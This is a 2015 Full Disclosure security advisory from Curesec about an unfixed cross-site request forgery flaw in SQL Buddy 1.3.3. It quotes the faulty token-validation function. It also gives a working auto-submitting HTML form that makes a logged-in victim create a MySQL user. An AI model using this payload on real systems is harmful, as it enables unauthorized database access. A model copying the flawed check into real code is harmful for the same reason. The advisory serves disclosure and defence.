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Message-ID: <0MYJ3F-1ZwEyI0gBV-00V8Y2@mrelayeu.kundenserver.de>
Date: Fri, 30 Oct 2015 10:37:38 +0100
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] SQL Buddy 1.3.3: CSRF
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: SQL Buddy 1.3.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Contact: nom@...iciousbrains.com
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 08/18/2015
Disclosed to public: 10/07/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
None of the forms of SQL Buddy 1.3.3 have proper CSRF protection, which means
that an attacker can perform actions for the victim if the victim visits an
attacker controlled site while logged in.
While SQL Buddy does have CSRF protection, it does not work properly. If a CSRF
token is sumbitted, it has to be correct. However, if no token is submitted,
the check is passed as well.
3. Proof of Concept
Insert a new MySQL user:
<form name="myform" method="post" action="http://localhost/sqlbuddy/query.php?ajaxRequest=2807&db=foo" >
<input type="hidden" name="query" value="CREATE USER 'injected'@...calhost' IDENTIFIED BY 'injected';">
</form>
<script>document.myform.submit();</script>
4. Code
functions.php:215
function validateRequest() {
global $requestKey;
if (isset($_GET['requestKey']) && $_GET['requestKey'] != $requestKey) {
return false;
}
return true;
}
5. Solution
This issue was not fixed by the vendor.
6. Report Timeline
08/18/2015 Informed Vendor about Issue (no reply)
09/16/2015 Reminded Vendor of release date (no reply)
10/07/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/SQL-Buddy-133-CSRF-59.html
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